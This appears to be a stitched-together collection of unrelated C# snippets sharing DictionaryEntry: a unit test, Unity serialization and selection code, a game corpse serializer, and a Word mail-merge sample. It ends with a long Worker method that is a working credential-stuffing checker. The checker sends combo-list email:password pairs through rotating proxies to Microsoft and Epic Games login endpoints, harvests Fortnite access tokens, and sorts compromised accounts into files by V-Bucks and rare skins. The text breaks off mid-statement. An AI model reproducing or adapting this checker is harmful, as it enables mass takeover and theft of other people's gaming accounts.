public static void CopyToTest(ListDictionary ld, KeyValuePair<string, string>[] data) { DictionaryEntry[] translated = data.Select(kv => new DictionaryEntry(kv.Key, kv.Value)).ToArray(); DictionaryEntry[] full = new DictionaryEntry[data.Length]; ld.CopyTo(full, 0); Assert.Equal(translated, full); DictionaryEntry[] large = new DictionaryEntry[data.Length * 2]; ld.CopyTo(large, data.Length / 2); for (int i = 0; i < large.Length; i++) { if (i < data.Length / 2 || i >= data.Length + data.Length / 2) { Assert.Equal(new DictionaryEntry(), large[i]); Assert.Null(large[i].Key); Assert.Null(large[i].Value); } else { Assert.Equal(translated[i - data.Length / 2], large[i]); } } }
/// <summary> /// Removes all selected Objects from the list /// </summary> public void Clear() { //THis is a bit complicated because we cant delete entries in a loop // Create space for the dictionary entries. DictionaryEntry[] dictionaryEntries = new DictionaryEntry[interactionObjs.Count]; // Copy. interactionObjs.CopyTo(dictionaryEntries, 0); // Iterate through the keys. foreach (DictionaryEntry dictionaryEntry in dictionaryEntries) { GameObject interactionObj = dictionaryEntry.Value as GameObject; if (interObjContCounter.ContainsKey(interactionObj.GetInstanceID())) { while (!removeInteractionObj(interactionObj)) { } } else { Debug.LogError("Trying to delete object " +interactionObj.GetInstanceID() + "from interactionObjConCounter, which isnt there."); } } }
/// <summary> /// Read the specified type. /// </summary> /// <param name="type">Type.</param> public virtual object Read(Type type) { object result = null; if (type == null || !m_Reader.ReadBoolean()) { result = null; } else { bool isPrimitive = false; bool isEnum = false; bool isSerializable = false; bool isGeneric = false; #if (UNITY_WSA || UNITY_WINRT) && !UNITY_EDITOR TypeInfo info = type.GetTypeInfo(); isPrimitive = info.IsPrimitive; isEnum = info.IsEnum; isSerializable = info.IsSerializable; isGeneric = info.IsGenericType; #else isPrimitive = type.IsPrimitive; isEnum = type.IsEnum; isSerializable = type.IsSerializable; isGeneric = type.IsGenericType; #endif if (type == typeof(UnityEngine.GameObject)) { // Skip save game type start m_Reader.ReadByte(); m_Reader.ReadInt64(); int layer = ReadProperty <int>(); bool isStatic = ReadProperty <bool>(); string tag = ReadProperty <string>(); string name = ReadProperty <string>(); UnityEngine.HideFlags hideFlags = ReadProperty <UnityEngine.HideFlags>(); // Skip save game type end m_Reader.ReadByte(); UnityEngine.GameObject gameObject = new UnityEngine.GameObject(name) { layer = layer, isStatic = isStatic, tag = tag, hideFlags = hideFlags }; m_Reader.ReadString(); int count = m_Reader.ReadInt32(); for (int i = 0; i < count; i++) { string typeName = m_Reader.ReadString(); Type componentType = Type.GetType(typeName); UnityEngine.Component component = gameObject.GetComponent(componentType); if (componentType != typeof(UnityEngine.Transform)) { component = gameObject.AddComponent(componentType); } ReadInto(component); } m_Reader.ReadString(); count = m_Reader.ReadInt32(); for (int i = 0; i < count; i++) { ReadChild(gameObject); } result = gameObject; } else if (isPrimitive || type == typeof(string) || type == typeof(decimal)) { if (type == typeof(string)) { result = m_Reader.ReadString(); } else if (type == typeof(decimal)) { result = m_Reader.ReadDecimal(); } else if (type == typeof(short)) { result = m_Reader.ReadInt16(); } else if (type == typeof(int)) { result = m_Reader.ReadInt32(); } else if (type == typeof(long)) { result = m_Reader.ReadInt64(); } else if (type == typeof(ushort)) { result = m_Reader.ReadUInt16(); } else if (type == typeof(uint)) { result = m_Reader.ReadUInt32(); } else if (type == typeof(ulong)) { result = m_Reader.ReadUInt64(); } else if (type == typeof(double)) { result = m_Reader.ReadDouble(); } else if (type == typeof(float)) { result = m_Reader.ReadSingle(); } else if (type == typeof(byte)) { result = m_Reader.ReadByte(); } else if (type == typeof(sbyte)) { result = m_Reader.ReadSByte(); } else if (type == typeof(char)) { result = m_Reader.ReadChar(); } else if (type == typeof(bool)) { result = m_Reader.ReadBoolean(); } } else if (isEnum) { result = Enum.Parse(type, m_Reader.ReadString()); } else if (type == typeof(DateTime)) { result = DateTime.FromBinary(m_Reader.ReadInt64()); } else if (type == typeof(TimeSpan)) { result = TimeSpan.Parse(m_Reader.ReadString()); } else if (type.IsArray) { Type elementType = type.GetElementType(); int rank = m_Reader.ReadInt32(); int[] lengths = new int[rank]; for (int i = 0; i < rank; i++) { lengths[i] = m_Reader.ReadInt32(); } Array array = Array.CreateInstance(elementType, lengths); int[] indices = new int[array.Rank]; for (int i = 0; i < array.Rank; i++) { indices[i] = array.GetLowerBound(i); } indices[array.Rank - 1]--; bool complete = false; while (!complete) { indices[array.Rank - 1]++; for (int i = array.Rank - 1; i >= 0; i--) { if (indices[i] > array.GetUpperBound(i)) { if (i == 0) { complete = true; break; } for (int j = i; j < array.Rank; j++) { indices[j] = array.GetLowerBound(j); } indices[i - 1]++; } } if (!complete) { array.SetValue(Read(elementType), indices); } } result = array; } else if (type == typeof(DictionaryEntry)) { DictionaryEntry entry = new DictionaryEntry(); Type keyType = Type.GetType(m_Reader.ReadString()); entry.Key = Read(keyType); Type valueType = Type.GetType(m_Reader.ReadString()); entry.Value = Read(valueType); result = entry; } else if (isGeneric && type.GetGenericTypeDefinition() == typeof(KeyValuePair <,>)) { Type[] genericArgs = type.GetGenericArguments(); result = Activator.CreateInstance(type, Read(genericArgs[0]), Read(genericArgs[1])); } else if (isGeneric && type.GetGenericTypeDefinition() == typeof(List <>)) { Type[] genericArgs = type.GetGenericArguments(); IList list = (IList)Activator.CreateInstance(type); int length = m_Reader.ReadInt32(); for (int i = 0; i < length; i++) { list.Add(Read(genericArgs[0])); } result = list; } else if (isGeneric && type.GetGenericTypeDefinition() == typeof(LinkedList <>)) { Type[] genericArgs = type.GetGenericArguments(); object linkedList = Activator.CreateInstance(type); MethodInfo addLast = type.GetMethod("AddLast", genericArgs); int length = m_Reader.ReadInt32(); for (int i = 0; i < length; i++) { addLast.Invoke(linkedList, new object[] { Read(genericArgs[0]) }); } result = linkedList; } else if (isGeneric && (type.GetGenericTypeDefinition() == typeof(Dictionary <,>) || type.GetGenericTypeDefinition() == typeof(SortedDictionary <,>) || type.GetGenericTypeDefinition() == typeof(SortedList <,>))) { Type[] genericArgs = type.GetGenericArguments(); IDictionary dictionary = (IDictionary)Activator.CreateInstance(type); int length = m_Reader.ReadInt32(); Type keyValuePairType = typeof(KeyValuePair <,>).MakeGenericType(genericArgs); PropertyInfo keyProperty = keyValuePairType.GetSavableProperty("Key"); PropertyInfo valueProperty = keyValuePairType.GetSavableProperty("Value"); for (int i = 0; i < length; i++) { object keyValuePair = Read(keyValuePairType); dictionary.Add(keyProperty.GetValue(keyValuePair, null), valueProperty.GetValue(keyValuePair, null)); } result = dictionary; } else if (isGeneric && type.GetGenericTypeDefinition() == typeof(Stack <>)) { Type[] genericArgs = type.GetGenericArguments(); object stack = Activator.CreateInstance(type); MethodInfo push = type.GetMethod("Push"); int length = m_Reader.ReadInt32(); for (int i = 0; i < length; i++) { push.Invoke(stack, new object[] { Read(genericArgs[0]) }); } result = stack; } else if (isGeneric && type.GetGenericTypeDefinition() == typeof(Queue <>)) { Type[] genericArgs = type.GetGenericArguments(); object queue = Activator.CreateInstance(type); MethodInfo enqueue = type.GetMethod("Enqueue"); int length = m_Reader.ReadInt32(); for (int i = 0; i < length; i++) { enqueue.Invoke(queue, new object[] { Read(genericArgs[0]) }); } result = queue; } else if (isGeneric && type.GetGenericTypeDefinition() == typeof(HashSet <>)) { Type[] genericArgs = type.GetGenericArguments(); object hashSet = Activator.CreateInstance(type); MethodInfo addMethod = type.GetMethod("Add"); int length = m_Reader.ReadInt32(); for (int i = 0; i < length; i++) { addMethod.Invoke(hashSet, new object[] { Read(genericArgs[0]) }); } result = hashSet; } else if (type == typeof(Hashtable)) { Hashtable hashtable = new Hashtable(); int length = m_Reader.ReadInt32(); for (int i = 0; i < length; i++) { DictionaryEntry entry = Read <DictionaryEntry>(); hashtable.Add(entry.Key, entry.Value); } result = hashtable; } else if (SaveGameTypeManager.HasType(type)) { // Skip save game type start m_Reader.ReadByte(); m_Reader.ReadInt64(); SaveGameType saveGameType = SaveGameTypeManager.GetType(type); result = saveGameType.Read(this); // Skip save game type end m_Reader.ReadByte(); } else { result = ReadObject(type); } } #if !(UNITY_WSA || UNITY_WINRT) || UNITY_EDITOR if (result is IDeserializationCallback) { (result as IDeserializationCallback).OnDeserialization(this); } #endif return(result); }
protected NounStem(Declension declension, Gender gender, string stemPart, DictionaryEntry entry) : base(stemPart, entry) { Declension = declension; Gender = gender; }
public override void Serialize(GenericWriter writer) { base.Serialize(writer); writer.Write((int)10); // version writer.WriteDeltaTime(m_TimeOfDeath); ArrayList list = (m_RestoreTable == null ? null : new ArrayList(m_RestoreTable)); int count = (list == null ? 0 : list.Count); writer.Write(count); for (int i = 0; list != null && i < list.Count; ++i) { DictionaryEntry de = (DictionaryEntry)list[i]; Item item = (Item)de.Key; Point3D loc = (Point3D)de.Value; writer.Write(item); if (item.Location == loc) { writer.Write(false); } else { writer.Write(true); writer.Write(loc); } } writer.Write(m_VisitedByTaxidermist); writer.Write(m_DecayTimer != null); if (m_DecayTimer != null) { writer.WriteDeltaTime(m_DecayTime); } writer.WriteMobileList(m_Looters); writer.Write(m_Killer); writer.Write((bool)m_Carved); writer.WriteMobileList(m_Aggressors); writer.Write(m_Owner); writer.Write(m_NoBones); writer.Write((string)m_CorpseName); writer.Write((int)m_AccessLevel); writer.Write((Guild)m_Guild); writer.Write((int)m_Kills); writer.Write((bool)m_Criminal); writer.Write((int)m_EquipItems.Count); for (int i = 0; i < m_EquipItems.Count; ++i) { writer.Write((Item)m_EquipItems[i]); } }
/// <summary> /// Update fields in the Word document /// </summary> /// <returns>Return the created Word document as stream</returns> public MemoryStream NestedMailMerge(string Group1, string Group2, string documentType, string button) { //if (Group2 == null || Group3 == null) // return View(); string basePath = @"wwwroot/"; string dataPath = null; if (Group1 == "Report") { dataPath = basePath + @"data/docio/template-report.doc"; } else { dataPath = basePath + @"data/docio/template-letter.doc"; } FileStream fileStream = new FileStream(dataPath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite); if (button == "View Template") { MemoryStream ms = new MemoryStream(); fileStream.Position = 0; fileStream.CopyTo(ms); fileStream.Close(); return(ms); } // Creating a new document. WordDocument document = new WordDocument(); // Load template fileStream = new FileStream(dataPath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite); document.Open(fileStream, FormatType.Doc); fileStream.Dispose(); fileStream = null; #region Execute Mail merge if (Group2 == "Explicit") { MailMergeDataSet dataSet = GetMailMergeDataSet(basePath); List <DictionaryEntry> commands = new List <DictionaryEntry>(); //DictionaryEntry contain "Source table" (KEY) and "Command" (VALUE) DictionaryEntry entry = new DictionaryEntry("Employees", string.Empty); commands.Add(entry); // To retrive customer details entry = new DictionaryEntry("Customers", "EmployeeID = %Employees.EmployeeID%"); commands.Add(entry); // To retrieve order details entry = new DictionaryEntry("Orders", "CustomerID = %Customers.CustomerID%"); commands.Add(entry); //Executes nested Mail merge using explicit relational data. document.MailMerge.ExecuteNestedGroup(dataSet, commands); } else { MailMergeDataTable dataTable = GetMailMergeDataTable(basePath); //Executes nested Mail merge using implicit relational data. document.MailMerge.ExecuteNestedGroup(dataTable); } #endregion #region Document SaveOption FormatType formatType = FormatType.Docx; //Save as .doc format if (documentType == "WordDoc") { formatType = FormatType.Doc; } //Save as .xml format else if (documentType == "WordML") { formatType = FormatType.WordML; } //Save the document as a stream and retrun the stream using (MemoryStream stream = new MemoryStream()) { //Save the created Word document to MemoryStream document.Save(stream, formatType); document.Close(); stream.Position = 0; return(stream); } #endregion Document SaveOption }
static void Worker(string combo) { try { Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex; var proxy = Variables.proxies[Variables.proxyIndex]; var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries); using (var req = new HttpRequest() { KeepAlive = true, IgnoreProtocolErrors = true, Proxy = ProxyClient.Parse(proxyType, proxy) }) { req.Proxy.ConnectTimeout = proxyTimeout; req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify())); req.AddHeader("accept-encoding", "null"); string pre_req = req.Get("https://login.live.com/").ToString(); string UAID = Functions.LR(pre_req, "&uaid=", "\"/>").FirstOrDefault(); req.AddHeader("accept-encoding", "null"); req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"); req.AddHeader("Pragma", "no-cache"); req.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); req.AddHeader("Upgrade-Insecure-Requests", "1"); req.AddHeader("Referer", "https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&rver=7.1.6819.0&wp=MBI_SSL&wreply=https:%2f%2faccount.xbox.com%2fen-us%2faccountcreation%3freturnUrl%3dhttps:%252f%252fwww.xbox.com:443%252fen-US%252f%26ru%3dhttps:%252f%252fwww.xbox.com%252fen-US%252f%26rtc%3d1&lc=1033&id=292543&aadredir=1"); req.AddHeader("Cookie", "wlidperf=FR=L&ST=1573475967016; MSPShared=1; SDIDC=CavoGthu*pkJAN8Eek6dWr5opN5x1BL2!mueAsRqcHLVS94TF9fJG7M1fnoFg6a*recSzMqgr*rslJH2ICxiqJGNoOHcIMFXc!RLunwBMWhU0x321UT4GCRmUx6DZ7AjzurT*F2lfakG55iffb2VLqMt0mhzOabJGnTjvNhmJC9g1p*grJ8oN9vhRFP1QX!nZ!fWcW27*aTbPPnlAGv9aKLWqL*MazqS52WCQ1qeFZq2cv5ZfnxVwVkgfgjdQvs2GEwfHcnTOQx1uQdtaK9OZwguM8Ck!XoiweJLLeKfFhKRZuntwAkM7ZR0uwP6Z19dR7mBTpGpy5F6!dyrkpKizd9!nzZSFFo*7poLWKhu1rNfXZj1IGgaH9sTsatt8!OJcUye6DGBEO2UgVGMYZSXh3qZLLQfoCt27U2AyIJI2kF!CwX2SD8t9RLWxmz1S3NIVWmBO8wm!DlUH1lpURHmiXbk1m!22SzIKy09LvlGae8GFkF!Rx57Ef2CKW5i5QTBtQ$$; IgnoreCAW=1; MSCC=1571654982; mkt=en-US; optimizelyEndUserId=oeu1572238927711r0.5850160263416339; uaid=e94a49f177664960a3fca122edaf8a27; MSPRequ=id=292543<=1573475927&co=1; OParams=11DUe2VlF3OgbQNYrRZRg3REn8KImGd*MjJ03B0XHPylHxLr2YAXrzYNH!J96HFWgoWGEdSPWFdPiET54l8VSW7HH0FPuC0Ce2pxC2uyWUloRhCunIwMUB8QUtvNr0as9T1RluKxlaF5K4LNi7CWjITDPFW2tzU!gS5LVvUdG58wfPg1itYuqY2HKQNrXN51!s!LMD8g2Gf5pcrXZibicJLoN1z5P3XSQm2UhakTdBNoDEruwv8MWbzT!5ImiwMzPP*G5APiiLE!9EKUwPT49z1!ERSbMlpzjFZP25j3o01h!9VuAllBJeaaJeclbcH9QuCwvUd2N3Z6kCiV5jlEKbyfAbHAiIJ6TNAmwU3ftHK08Fy5L6vUHSZRyocbR18FVCoP7lMVfmfQfS41VEmD3JdZTwjJIosaE7!i7E31jx5gwDqYZpo0wjnRzQlt3I9twovyRxbRxuvMVRqN7ey0AE7XI67w70kjUoRg*NbmI2BAxmuNnAdujjs4YlLsdZ8iIIFk73CkQpQ6X!MO58xB09KYImQyevehtDlrXkr*oDQCAh; MSPOK=$uuid-6b855d49-8f09-4e83-8526-b756788bf3b9$uuid-02a3151d-ba2d-4c6c-be88-c9c804ecb043"); var res0 = req.Post("https://login.live.com/ppsecure/post.srf?client_id=82023151-c27d-4fb5-8551-10c10724a55e&redirect_uri=https%3A%2F%2Faccounts.epicgames.com%2FOAuthAuthorized&state=eyJ0cmFja2luZ1V1aWQiOiJjZGRiODAxMmQ2NjM0MzJkOTkxOGJmMzIxMjBmMTA5ZCIsImlzUG9wdXAiOnRydWUsImlzV2ViIjp0cnVlLCJvYXV0aFJlZGlyZWN0VXJsIjoiaHR0cHM6Ly9lcGljZ2FtZXMuY29tL2lkL2xvZ2luL3hibD9wcm9tcHQ9IiwiaXAiOiIxOTcuMjYuMTM4LjIxNiIsImlkIjoiNTQxYWYyMGUxMDVjNGI0MGJhNGQxNTRhZTlkMDU2OWQifQ%3D%3D&scope=xboxlive.signin&service_entity=undefined&force_verify=true&response_type=code&display=popup&contextid=611F4D63F80A23E2&bk=1614165077&uaid=" + UAID + "&pid=15216", $"i13=0&login={credentials[0]}&loginfmt={credentials[0]}&type=11&LoginOptions=3&lrt=&lrtPartition=&hisRegion=&hisScaleUnit=&passwd={credentials[1]}&ps=2&psRNGCDefaultType=&psRNGCEntropy=&psRNGCSLK=&canary=&ctx=&hpgrequestid=&PPFT=DZshWk88CvvuA9vSOHldJLurwIJH4a7uUREfu4fGCsbB2nL*YUw36i0Lz7tZDGptQxZhUTW0%21*ZM3oIUxGKEeEa1gcx%21XzBNiXpzf*U9iH68RaP3u20G0J6k2%21UdeMFc9C9uusE3IwI3gi4u7wJzyq8FCiNuk2Hly66dMuX96mSwHTYXgtZZpS%21rbS35jrsdC%21Ku4UysydsP0MXSz2klYp9KU%21hDHeKBZIu13h%21rQk9jG2vzCW4OerTedipQDJRuAg%24%24&PPSX=Passpor&NewUser=1&FoundMSAs=&fspost=0&i21=0&CookieDisclosure=0&IsFidoSupported=0&i2=1&i17=0&i18=&i19=32099", "application/x-www-form-urlencoded"); string text0 = res0.ToString(); if (res0.Address.ToString().Contains("?code=")) { var mr = Functions.LR(res0.Address.ToString(), "?code=", "&state=").FirstOrDefault(); req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"); req.AddHeader("Pragma", "no-cache"); req.AddHeader("Accept", "*/*"); string EPIC_PRE_REQ = req.Get("https://www.epicgames.com/id/api/reputation").ToString(); string session = req.Cookies.GetCookies("https://www.epicgames.com/id/api/reputation")["EPIC_SESSION_REPUTATION"].Value; req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"); req.AddHeader("Pragma", "no-cache"); req.AddHeader("Accept", "*/*"); string EPIC_SECOND_REQ = req.Get("https://www.epicgames.com/id/api/csrf").ToString(); var srf = req.Cookies.GetCookies("https://www.epicgames.com/id/api/csrf")["XSRF-TOKEN"].Value; var ap = req.Cookies.GetCookies("https://www.epicgames.com/id/api/csrf")["EPIC_SESSION_AP"].Value; req.ClearAllHeaders(); req.AddHeader("POST", "/id/api/external/xbl/login HTTP/1.1"); req.AddHeader("Host", "www.epicgames.com"); req.AddHeader("Connection", "keep-alive"); req.AddHeader("X-Epic-Event-Category", "null"); req.AddHeader("X-XSRF-TOKEN", srf); req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 OPR/74.0.3911.107 (Edition utorrent)"); req.AddHeader("X-Epic-Event-Action", "null"); req.AddHeader("Content-Type", "application/json;charset=UTF-8"); req.AddHeader("Accept", "application/json, text/plain, */*"); req.AddHeader("X-Requested-With", "XMLHttpRequest"); req.AddHeader("X-Epic-Strategy-Flags", "guardianEmailVerifyEnabled=false;guardianKwsFlowEnabled=false;minorPreRegisterEnabled=false"); req.AddHeader("Origin", "https://www.epicgames.com"); req.AddHeader("Sec-Fetch-Site", "same-origin"); req.AddHeader("Sec-Fetch-Mode", "cors"); req.AddHeader("Sec-Fetch-Dest", "empty"); req.AddHeader("Referer", "https://www.epicgames.com/id/login/xbl?prompt=&extLoginState=eyJ0cmFja2luZ1V1aWQiOiJmN2MxODNkMzczYmQ0NzMxYTMxYjVjN2NlMGViNzE1ZSIsImlzV2ViIjp0cnVlLCJpcCI6IjE5Ny4yNi4xMzguMjE2IiwiaWQiOiIwMjEwYTIyNTcyMjU0ZDYzOTg1ZGFjOGU4NmM4MGVlZSIsImNvZGUiOiJNLlIzX0JBWS5mYzRjZGZjNi1iMTQ5LTNhN2YtYzZmNC1jZWMzY2Y3MDZmMDkifQ%253D%253D"); req.AddHeader("Accept-Language", "fr-FR,fr;q=0.9"); req.AddHeader("Accept-Encoding", "gzip, deflate"); req.AddHeader("Content-Length", "56"); var res123 = req.Post("https://www.epicgames.com/id/api/external/xbl/login", "{\"code\":\"" + mr + "\"}", "application/json"); string LOGIN_CHECK = res123.ToString(); if (LOGIN_CHECK.Contains("no_account_found_for") || Convert.ToInt32(res123.StatusCode) == 400) { Variables.Valid++; Variables.XBOX_Hits++; Variables.Checked++; Variables.cps++; lock (Variables.WriteLock) { Variables.remove(combo); File.AppendAllText(Variables.results + "Xbox_hits.txt", combo + Environment.NewLine); } } else { req.ClearAllHeaders(); req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"); req.AddHeader("Pragma", "no-cache"); req.AddHeader("Accept", "*/*"); var res7 = req.Get("https://www.epicgames.com/id/api/csrf"); string text7 = res7.ToString(); var XSRF_TOKEN = req.Cookies.GetCookies("https://www.epicgames.com/id/api/csrf")["XSRF-TOKEN"].Value; req.ClearAllHeaders(); req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) EpicGamesLauncher/10.19.9-14892359+++Portal+Release-Live UnrealEngine/4.23.0-14892359+++Portal+Release-Live Chrome/59.0.3071.15 Safari/537.36"); req.AddHeader("Pragma", "no-cache"); req.AddHeader("Accept", "application/json, text/plain, */*"); req.AddHeader("Connection", "keep-alive"); req.AddHeader("Accept-Language", "en"); req.AddHeader("Origin", "https://www.epicgames.com"); req.AddHeader("X-Epic-Event-Action", "login"); req.AddHeader("X-Epic-Event-Category", "login"); req.AddHeader("X-Epic-Strategy-Flags", "guardianEmailVerifyEnabled=false;guardianKwsFlowEnabled=false;minorPreRegisterEnabled=false"); req.AddHeader("X-Requested-With", "XMLHttpRequest"); req.AddHeader("X-XSRF-TOKEN", XSRF_TOKEN); req.AddHeader("Referer", "https://www.epicgames.com/id/login/welcome"); req.AddHeader("Accept-Encoding", "gzip, deflate"); var res8 = req.Post("https://www.epicgames.com/id/api/exchange/generate", "ewewe", "application/x-www-form-urlencoded"); string text8 = res8.ToString(); if (text8.Contains("You are not authenticated. Please authenticate")) { Variables.Invalid++; Variables.Checked++; Variables.cps++; lock (Variables.WriteLock) { Variables.remove(combo); } } else if (text8.Contains("\"code\":")) { var code = Functions.JSON(text8, "code").FirstOrDefault(); req.AddHeader("User-Agent", "EpicGamesLauncher/10.2.3-7092195+++Portal+Release-Live Windows/10.0.17134.1.768.64bit"); req.AddHeader("Pragma", "no-cache"); req.AddHeader("Accept", "*/*"); req.AddHeader("Authorization", "basic MzQ0NmNkNzI2OTRjNGE0NDg1ZDgxYjc3YWRiYjIxNDE6OTIwOWQ0YTVlMjVhNDU3ZmI5YjA3NDg5ZDMxM2I0MWE="); var res9 = req.Post("https://account-public-service-prod03.ol.epicgames.com/account/api/oauth/token", "grant_type=exchange_code&exchange_code=" + code + "&token_type=eg1", "application/x-www-form-urlencoded"); string text9 = res9.ToString(); var eg1 = Functions.JSON(text9, "access_token").FirstOrDefault(); var acc_id = Functions.JSON(text9, "account_id").FirstOrDefault(); req.AddHeader("User-Agent", "Fortnite/++Fortnite+Release-8.51-CL-6165369 Windows/10.0.17763.1.256.64bit"); req.AddHeader("Pragma", "no-cache"); req.AddHeader("Accept", "*/*"); req.AddHeader("Authorization", "bearer " + eg1 + ""); var res10 = req.Post("https://fortnite-public-service-prod11.ol.epicgames.com/fortnite/api/game/v2/profile/" + acc_id + "/client/QueryProfile?profileId=common_core&rvn=-1", "{\"{}\":\"\"}", "application/json"); string text10 = res10.ToString(); var VBucks = Functions.LR(text10, "templateId\":\"Currency:MtxGiveaway\",\"attributes\":{\"platform\":\"Shared\"},\"quantity\":", "},").FirstOrDefault(); req.AddHeader("User-Agent", "EpicGamesLauncher/10.2.3-7092195+++Portal+Release-Live Windows/10.0.17134.1.768.64bit"); req.AddHeader("Pragma", "no-cache"); req.AddHeader("Accept", "*/*"); req.AddHeader("Authorization", "bearer " + eg1 + ""); var res11 = req.Post("https://fortnite-public-service-prod11.ol.epicgames.com/fortnite/api/game/v2/profile/" + acc_id + "/client/QueryProfile?profileId=athena&rvn=-1", "{}", "application/json"); string text11 = res11.ToString(); var AccountLevel = Functions.LR(text11, "\"accountLevel\":", ",\"").FirstOrDefault(); var TotalWins = Functions.LR(text11, "lifetime_wins\":", ",").FirstOrDefault(); var Capture = " | VBucks: " + VBucks + " | Account Level: " + AccountLevel + " | Total Wins: " + TotalWins; List <string> Skins = new List <string>(); List <string> Pickaxes = new List <string>(); foreach (object obj in Mailify.Translater.Skins) { DictionaryEntry skin = (DictionaryEntry)obj; if (text11.Contains(skin.Key.ToString())) { Skins.Add(skin.Value.ToString()); } else { } } foreach (object obj in Mailify.Translater.Pickaxes) { DictionaryEntry Pickaxe = (DictionaryEntry)obj; if (text11.Contains(Pickaxe.Key.ToString())) { Pickaxes.Add(Pickaxe.Value.ToString()); } else { } } string Skins_Capture = string.Join(",", Skins.ToArray()); string PickAxe_Capture = string.Join(",", Pickaxes.ToArray()); string Skins_Capture1 = string.Join(Environment.NewLine, Skins.ToArray()); string PickAxe_Capture1 = string.Join(Environment.NewLine, Pickaxes.ToArray()); Variables.Valid++; Variables.FN_Hits++; Variables.Checked++; Variables.cps++; lock (Variables.WriteLock) { Variables.remove(combo); if (Skins.Count != 0) { Variables.Skinned++; File.AppendAllText(Variables.skins + "Total-Skinned.txt", combo + " | Skins: " + Skins.Count + Environment.NewLine); File.AppendAllText(Variables.results + "Full-Capture.txt", "-------------------------------------------------------------------------" + Environment.NewLine + Environment.NewLine + "Credentials - " + combo + Environment.NewLine + Environment.NewLine + "General Capture - " + Capture + " | Total skins: " + Skins.Count + Environment.NewLine + Environment.NewLine + "======================SKINS====================" + Environment.NewLine + Skins_Capture1 + Environment.NewLine + Environment.NewLine + "===================PICKAXE'S==================" + Environment.NewLine + PickAxe_Capture1 + Environment.NewLine + Environment.NewLine); if (Skins.Count >= 300) { Variables.three_hundred_over++; File.AppendAllText(Variables.skins + "300+.txt", combo + Environment.NewLine); } else if (Skins.Count >= 200) { Variables.two_hundred_to_three_hundred++; File.AppendAllText(Variables.skins + "200-300.txt", combo + Environment.NewLine); } else if (Skins.Count >= 100) { Variables.one_hundred_to_two_hundred++; File.AppendAllText(Variables.skins + "100-200.txt", combo + Environment.NewLine); } else if (Skins.Count >= 50) { Variables.fifty_to_one_hundred++; File.AppendAllText(Variables.skins + "50-100.txt", combo + Environment.NewLine); } else if (Skins.Count >= 25) { Variables.twenty_five_to_fifty++; File.AppendAllText(Variables.skins + "25-50.txt", combo + Environment.NewLine); } else if (Skins.Count >= 10) { Variables.ten_to_twentyfive++; File.AppendAllText(Variables.skins + "10-25.txt", combo + Environment.NewLine); } else { Variables.one_to_10++; File.AppendAllText(Variables.skins + "1-10.txt", combo + Environment.NewLine); } //RARES if (Skins.Contains("blackknight")) { Variables.Rares++; File.AppendAllText(Variables.rares + $"BlackKnight.txt", combo + Environment.NewLine); } if (Skins.Contains("bluesquire")) { Variables.Rares++; File.AppendAllText(Variables.rares + $"BlueSquire.txt", combo + Environment.NewLine); } if (Skins.Contains("renegaderaider")) { Variables.Rares++; File.AppendAllText(Variables.rares + $"RenegadeRaider.txt", combo + Environment.NewLine); } if (Skins.Contains("redknight")) { Variables.Rares++; File.AppendAllText(Variables.rares + $"RedKnight.txt", combo + Environment.NewLine); } if (Skins.Contains("ikonik")) { Variables.Rares++; File.AppendAllText(Variables.rares + $"Ikonic.txt", combo + Environment.NewLine); } if (Skins.Contains("aerialassaulttrooper")) { Variables.Rares++; File.AppendAllText(Variables.rares + $"AerialAssaultTrooper.txt", combo + Environment.NewLine); } if (Skins.Contains("reflex")) { Variables.Rares++; File.AppendAllText(Variables.rares + $"Reflex.txt", combo + Environment.NewLine); } if (Skins.Contains("ghoultrooper")) { Variables.Rares++; File.AppendAllText(Variables.rares + $"GhoulTrooper.txt", combo + Environment.NewLine); } if (Skins.Contains("galaxy")) { Variables.Rares++; File.AppendAllText(Variables.rares + $"Galaxy.txt", combo + Environment.NewLine); } if (Pickaxes.Contains("raider's revenge")) { Variables.Rares++; File.AppendAllText(Variables.rares + $"RaidersRevenge.txt", combo + Environment.NewLine); } if (Skins.Contains("wonder")) { Variables.Rares++; File.AppendAllText(Variables.rares + $"Wonder.txt", combo + Environment.NewLine); } if (Skins.Contains("reconexpert")) { Variables.Rares++; File.AppendAllText(Variables.rares + $"ReconExpert.txt", combo + Environment.NewLine); } if (Skins.Contains("codenamee.l.f.")) { Variables.Rares++; File.AppendAllText(Variables.rares + $"CodenameElf.txt", combo + Environment.NewLine); } } else { Variables.No_Skins++; File.AppendAllText(Variables.skins + "No-Skins.txt", combo + Capture + Environment.NewLine); } File.AppendAllText(Variables.vbucks + $"{VBucks}.txt", combo + Environment.NewLine); File.AppendAllText(Variables.results + $"No Cap.txt", combo + Environment.NewLine); File.AppendAllText(Variables.results + $"Total_hits.txt", combo + Capture + $" | Total Skins: {Skins.Count} - Skins: " + Skins_Capture + " | PickAxe's: " + PickAxe_Capture + Environment.NewLine); lock (Variables.WriteLock) { if (Config.kekr_UI == "LOG") { Console.WriteLine($"[+] {combo}", Color.Green); } } } } } } else if (text0.Contains("account doesn\\'t exist.") || text0.Contains("incorrect") || text0.Contains("Please enter the password for your Microsoft account.")) { Variables.Invalid++; Variables.Checked++; Variables.cps++; lock (Variables.WriteLock) { Variables.remove(combo); } } else if 